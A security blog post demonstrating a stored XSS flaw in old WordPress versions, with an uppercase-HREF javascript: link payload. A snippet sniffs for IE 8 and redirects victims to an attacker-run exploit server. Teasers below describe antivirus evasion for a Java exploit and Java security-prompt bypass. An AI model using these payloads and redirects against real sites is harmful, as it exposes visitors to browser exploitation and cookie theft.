Wordpress XSS Vulnerability + IE 8 Exploit

The 30th December of 2010 a guy named sneak reported a persistent XSS vulnerability that affect the popular blog cms wordpress <= 3.0.3.

The problem is located into the kses.php file which is the HTML sanitation library. If we type a link with the href attribute written in capital letters this library don't filter the content properly.

Example:
<a HREF="javascript:alert(0)">CLICK HERE</a>

If we post a comment this tag will be accepted as a common link. With this vulnerability we can craft a piece of code that can steal cookies, redirected to other sites etc....

This video shows you how it can be easy for everyone to craft an evil comment to redirect the victim to a server where there is an exploit for Internet Explorer 8 (CVE-2010-3971).

Our evil code:
var s = navigator.userAgent;

if( s.search('MSIE 8.0') != -1 ) {
    window.location = "http://192.168.2.13:8080/news";
}


Reference and more detailed information:
- Sneak blog 
- Metasploit Unleashed
- Javascript Obfuscator

Comments

  1. Henrik KentssonNovember 1, 2011 at 12:36 PM

    Very interesting video!
    Like your videos and it's even better with a blog, keep up the good work :)

    ReplyDelete
  2. Security ObscurityNovember 1, 2011 at 2:39 PM

    Thank you very much Henry :)

    ReplyDelete

Post a Comment

Popular posts from this blog

Java Exploit Code Obfuscation and Antivirus Bypass/Evasion (CVE-2012-4681)

Image
Why not play a game where we try to make the latest (at time of writing) public java exploit ( CVE-2012-4681 ) undetected by all antivirus and see who will be the last to detect it ?. I think it will be a funny "challenge" because evading antivirus has always his charm. I will not use software obfuscators like proGuard, Allatori, Zelix KlassMaster etc... This because will not be funny. This is not intended to be an analysis or explanation because there are already great post here: http://immunityproducts.blogspot.com.ar/2012/08/java-0day-analysis-cve-2012-4681.html http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html http://www.h-online.com/security/features/The-new-Java-0day-examined-1677789.html Before we start we need to make two considerations: From The Current Web-Delivered Java 0Day :  So while you may see a few links to Virustotal with the inevitable complaining that a scanner is missing a specific chunk of altered code along wi...
Read more

The Latest Java Exploit with Security Prompt/Warning Bypass (CVE-2013-2423)

Image
From Java SE 7 update 11 oracle has introduced a new security features called  security warning that prompts a window every time an applet request for execution. For example, if we want to execute latest Java SE 7 update 17 exploit we get this warning. Yesterday Immunity has published a blog post explaining a new vulnerability they have found into the java validating mechanism which allow to execute an untrusted applet without showing the warning. For in-dept details read their blog post here . Briefly, to bypass the above prompt you must call the applet with the parameter __applet_ssv_validated set to true. The only way to manipulate this parameter is to use a java Network Launch Protocol file. Regarding to oracle there are two ways to use JNLP in a page: With the applet tag  With javascript only Let's try first the example with the tag applet. The code we're going to run is the latest publicly available java exploit CVE-2013-2423 .  import java.a...
Read more

Deobfuscating Java 7u11 Exploit from Cool Exploit Kit (CVE-2013-0431)

Image
At the beginning of the past week @EKWatcher  has spotted Cool Exploit Kit using Java 7 update 11 vulnerability (CVE-2013-0431). This vulnerability was already reported by Security Explorations on seclist few days after Oracle issued update 11. I decided take a look at it. I found a website infected by Cool EK that after a successfull exploitation dropped Reveton into " C:\Documents and Settings\<usarname>\Application Data " folder on Windows XP. The applet used by Cool EK was named would-blood.jar and once opened with JD-GUI the result was this. As you can see it's obfuscated, not heavily but obfuscated. The first thing to do when you want to start deobfuscating an applet is to find the init() function which is the "starting point" and cannot be changed. Remember that for serialized applets the starting point is a function called start() instead of init(). The init function is inside  hw class. It's immediately evident that al...
Read more